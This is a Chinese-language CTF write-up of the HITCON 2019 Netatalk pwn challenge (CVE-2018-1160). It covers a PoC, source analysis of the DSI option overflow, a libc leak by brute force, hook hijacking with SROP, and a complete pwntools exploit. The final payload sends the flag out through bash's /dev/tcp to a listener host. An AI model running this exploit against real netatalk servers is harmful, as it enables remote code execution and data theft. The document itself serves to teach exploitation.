HITCON CTF 2019 pwn Netatalk 详解

源于真实环境的题目,需要选手自己分析 cve 的 poc 进行利用, 本文章的主要思路基于 balsn 战队的 exp。

文件链接:https://github.com/Ex-Origin/ctf-writeups/tree/master/hitcon_ctf_2019/pwn/Netatalk

拿到题目后,很容易看出这是一个开源的项目,到网上搜索对应的CVE,利用给出的poc进行测试。

确定CVE

利用下面的 poc 测试发现得到预期结果,基本可以确定是 CVE-2018–1160

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import struct
import sys

if len(sys.argv) != 3:
    sys.exit(0)

ip = sys.argv[1]
port = int(sys.argv[2])

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print ("[+] Attempting connection to " + ip + ":" + sys.argv[2])
sock.connect((ip, port))

dsi_opensession = b"\x01" # attention quantum option
dsi_opensession += b"\x04" # length
dsi_opensession += b"\x00\x00\x40\x00" # client quantum

dsi_header = b"\x00" # "request" flag
dsi_header += b"\x04" # open session command
dsi_header += b"\x00\x01" # request id
dsi_header += b"\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += b"\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession

sock.sendall(dsi_header)

try:
    resp = sock.recv(1024)
    print ("[+] Fin.")
except:
    print ("[-] No response!")

分析

首先,自行编译对应的 debug 版本的程序来用于调试。

在服务端受到请求后,先调用dsi_stream_receive来进行协议解析。

源码来自:netatalk-3.1.11/libatalk/dsi/dsi_stream.c:591

/*!
 * Read DSI command and data
 *
 * @param  dsi   (rw) DSI handle
 *
 * @return    DSI function on success, 0 on failure
 */
int dsi_stream_receive(DSI *dsi)
{
  char block[DSI_BLOCKSIZ];

  LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

  if (dsi->flags & DSI_DISCONNECTED)
      return 0;

  /* read in the header */
  if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block)) 
    return 0;

  dsi->header.dsi_flags = block[0];
  dsi->header.dsi_command = block[1];

  if (dsi->header.dsi_command == 0)
      return 0;

  memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
  memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
  dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
  memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

  memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
  dsi->clientID = ntohs(dsi->header.dsi_requestID);

  /* make sure we don't over-write our buffers. */
  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

  /* Receiving DSIWrite data is done in AFP function, not here */
  if (dsi->header.dsi_data.dsi_doff) {
      LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
      dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
  }

  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
    return 0;

  LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

  return block[1];
}

下面是poc的对应代码:

dsi_header = b"\x00" # "request" flag
dsi_header += b"\x04" # open session command
dsi_header += b"\x00\x01" # request id
dsi_header += b"\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += b"\x00\x00\x00\x00" # reserved

在gdb中进行解析也能得到同样的结果:

pwndbg> p dsi->header 
$1 = {
  dsi_flags = 0 '\000', 
  dsi_command = 4 '\004', 
  dsi_requestID = 256, 
  dsi_data = {
    dsi_code = 0, 
    dsi_doff = 0
  }, 
  dsi_len = 100663296, 
  dsi_reserved = 0
}

根据相关文章,可以知道漏洞在dsi_opensession中,如下面的代码所示。

源码来自:netatalk-3.1.11/libatalk/dsi/dsi_opensess.c

/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
  int offs;

  if (setnonblock(dsi->socket, 1) < 0) {
      LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
      AFP_PANIC("setnonblock error");
  }

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }

  /* let the client know the server quantum. we don't use the
   * max server quantum due to a bug in appleshare client 3.8.6. */
  dsi->header.dsi_flags = DSIFL_REPLY;
  dsi->header.dsi_data.dsi_code = 0;
  /* dsi->header.dsi_command = DSIFUNC_OPEN;*/

  dsi->cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */

  /* DSI Option Server Request Quantum */
  dsi->commands[0] = DSIOPT_SERVQUANT;
  dsi->commands[1] = sizeof(i);
  i = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN || 
          dsi->server_quantum > DSI_SERVQUANT_MAX ) ? 
        DSI_SERVQUANT_DEF : dsi->server_quantum);
  memcpy(dsi->commands + 2, &i, sizeof(i));

  /* AFP replaycache size option */
  offs = 2 + sizeof(i);
  dsi->commands[offs] = DSIOPT_REPLCSIZE;
  dsi->commands[offs+1] = sizeof(i);
  i = htonl(REPLAYCACHE_SIZE);
  memcpy(dsi->commands + offs + 2, &i, sizeof(i));
  dsi_send(dsi);
}

在上面的memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);这条语句中,dsi->attn_quantum是个unsigned int变量,而dsi->commands[i]是用户可以控制的 unsigned char 变量,最大值是 255,这将直接导致溢出。

pwndbg> ptype dsi->attn_quantum
type = unsigned int

对应下面 poc :

dsi_opensession = b"\x01" # attention quantum option
dsi_opensession += b"\x04" # length
dsi_opensession += b"\x00\x00\x40\x00" # client quantum

如果溢出 payload 的足够长,则会溢出到 dsi->commands 指针上,这一点对于利用来说很重要。struct DSI结构如下:

pwndbg> ptype dsi
type = struct DSI {
    struct DSI *next;
    AFPObj *AFPobj;
    int statuslen;
    char status[1400];
    char *signature;
    struct dsi_block header;
    struct sockaddr_storage server;
    struct sockaddr_storage client;
    struct itimerval timer;
    int tickle;
    int in_write;
    int msg_request;
    int down_request;
    uint32_t attn_quantum;
    uint32_t datasize;
    uint32_t server_quantum;
    uint16_t serverID;
    uint16_t clientID;
    uint8_t *commands;
    uint8_t data[65536];
    size_t datalen;
    size_t cmdlen;
    off_t read_count;
    off_t write_count;
    uint32_t flags;
    int socket;
    int serversock;
    size_t dsireadbuf;
    char *buffer;
    char *start;
    char *eof;
    char *end;
    char *bonjourname;
    int zeroconf_registered;
    pid_t (*proto_open)(struct DSI *);
    void (*proto_close)(struct DSI *);
} *

在前面的 dsi_stream_receive 函数中,我们可以看到 dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen 这条语句,它的行为是把我们的 协议后面的数据读到 dsi->command 中,那么我们就能利用这条语句在修改完 dsi->command 后进行任意地址写。

思路

本人并没有想出利用方法,真实环境并不是像绝大多数 ctf 赛题那样有 输入输出 流给我们走捷径,一般都是要直接做到任意代码执行来达到控制靶机的目的。

这里引用自 balsn 战队的思路。

首先,由于子程序是利用 sys_clone 直接克隆出来的,所以基本每次环境都是一模一样的,我们并不需要一次性打通。 dsi->command 是 用 mmap 申请的内存,这意味着他与 libc 的偏移是固定的。

接下来就是泄露地址,该主要原理是程序会对dsi->command内存进行操作,如果dsi->command 不可写的话会直接 crash 导致 socket 断开,通过这一点可以我们可以利用部分覆盖技术,对dsi->command 逐字节爆破,来确定 dsi->command 地址从而计算出 libc 地址。

然后 就是 劫持 hook,刚开始我想直接劫持 __free_hook 来调用 system 函数,想利用 dsi->command 作为参数来起 shell,但是程序始终都没有 free(dsi->command),所以该方法并不可行 。在调试中可以发现程序虽然不会 free(dsi->command) ,但是在协议解析的时候会调用 free 函数。这意味着我们可以控制 __free_hook 来执行指定的地址,不过参数是不可控的。

接下来就是 balsn 战队 exp 的核心思路,由于dsi->command这个缓冲区很大,足够我们控制整个 libc.bss ,所以我们可以利用 __free_hook 来调用其他的可控 hook 来达到进一步控制的目的。

layout = [
    'b' * 0x2e,
    libc_addr + 0x166488, #  mov rax, cs:_dl_open_hook; call qword ptr [rax]
    'c' * 0x2bb8, # padding
    libc_addr + 0x3f04a8 + 8, # _dl_open_hook
    libc_addr + 0x7ea1f, # mov rdi, rax; call qword ptr [rax+20h]
    0, 0, 0,
    libc_addr + libc.symbols['setcontext'],
]

我们可以将 free_hook 改成 dlopen 函数,由于缓冲区足够大,后面的 _dl_open_hook 我们同样也可以控制到,这里用 dlopen 的hook 能达到控制第一个参数的目的,可以对比一下两个 hook 的调用方式的区别。

__free_hoook:

mov rax, [cs:__free_hook]
mov rax, [rax]
call rax

_dl_open_hook:

mov rax, [cs:__free_hook]
call [rax]

可以看出利用 _dl_open_hook 后,其 rax 是仍然指向 _dl_open_hook 附近的,那么就可以配合接下来的 mov rdi, rax; call qword ptr [rax+20h] 来达到控制第一个参数的目的。

之后就是简单的SROP,然后反弹shell。

注意 sh 是没有 cat flag > /dev/tcp/127.0.0.1/10002 这种用法的,这是 bash 的一种特殊优化。

脚本

#!/usr/bin/python
# -*- coding: utf-8 -*-

from pwn import *
import struct

host = '127.0.0.1'
port = 5567
context.log_level = 'error'
# context.log_level = 'debug'
context.arch = "amd64"

libc = ELF('./libc-2.27.so')

def send_request(sock, content):
    dsi_opensession = b"\x01" # attention quantum option
    dsi_opensession += p8(len(content) + 0x10) # length
    dsi_opensession += b"a" * 0x10 + content # client quantum

    dsi_header = b"\x00" # "request" flag
    dsi_header += b"\x04" # open session command
    dsi_header += b"\x00\x01" # request id
    dsi_header += b"\x00\x00\x00\x00" # data offset
    dsi_header += struct.pack(">I", len(dsi_opensession))
    dsi_header += b"\x00\x00\x00\x00" # reserved
    dsi_header += dsi_opensession
    sock.send(dsi_header)
    result = sock.recvn(0x10)
    length = u32(result[8:12], endian='big')
    return sock.recvn(length)

def create_afp(idx, payload):
    afp_command = chr(idx) # invoke the second entry in the table
    afp_command += "\x00" # protocol defined padding 
    afp_command += payload
    dsi_header = "\x00" # "request" flag
    dsi_header += "\x02" # "AFP" command
    dsi_header += "\x00\x02" # request id
    dsi_header += "\x00\x00\x00\x00" # data offset
    dsi_header += struct.pack(">I", len(afp_command))
    dsi_header += '\x00\x00\x00\x00' # reserved
    dsi_header += afp_command
    return dsi_header

addr = '\x10'
for i in range(16):
    try:
        sh = remote(host, port)
        content = addr + p8(i * 0x10)
        result = send_request(sh, content)
        sh.close()
        if (result[2:6] == 'aaaa'):
            addr += p8(i * 0x10)
            print(hexdump(addr))
            break
    except EOFError:
        pass

for i in range(3):
    pre = len(addr)
    for i in range(256):
        try:
            sh = remote(host, port)
            content = addr + p8(i)
            result = send_request(sh, content)
            sh.close()
            if (result[2:6] == 'aaaa'):
                addr += p8(i)
                print(hexdump(addr))
                break
        except EOFError:
            pass
    if(pre == len(addr)):
        raise Exception('Not found')

try:
    sh = remote(host, port)
    content = addr + '\x7f'
    result = send_request(sh, content)
    sh.close()
    if (result[2:6] == 'aaaa'):
        addr += '\x7f'
        print(hexdump(addr))
except EOFError:
    pass

if(len(addr) != 6):
    for i in range(256):
        try:
            sh = remote(host, port)
            content = addr + p8(i)
            result = send_request(sh, content)
            sh.close()
            if (result[2:6] == 'aaaa'):
                addr += p8(i)
                print(hexdump(addr))
                break
        except EOFError:
            pass

libc_addr = u64(addr.ljust(8, '\0')) - 0x1725010
print('libc_addr: ' + hex(libc_addr))

sh = remote(host, port)
send_request(sh, p64(libc_addr + libc.symbols['__free_hook'] - 0x30))

frame = SigreturnFrame()
frame.rdi = libc_addr + 0x3f05a8
frame.rip = libc_addr + libc.symbols['system']
frame.rsp = libc_addr + 0x3f0508
frame.set_regvalue('&fpstate', libc_addr + 0x3f0600)

layout = [
    'b' * 0x2e,
    libc_addr + 0x166488, #  mov rax, cs:_dl_open_hook; call qword ptr [rax]
    '\0' * 0x2bb8, # padding
    libc_addr + 0x3f04a8 + 8, # _dl_open_hook
    libc_addr + 0x7ea1f, # mov rdi, rax; call qword ptr [rax+20h]
    0, 0, 0,
    libc_addr + libc.symbols['setcontext'] + 53,
]

payload = flat(layout) + str(frame)[0x28:] + "bash -c 'cat flag 1>/dev/tcp/%s/%d' \0" % ('172.17.0.1', 10002)

sh.send(create_afp(0, payload))

r_sh = listen(10002)

# triger free hook
sh.close()

sh = r_sh.wait_for_connection()
print(sh.recv())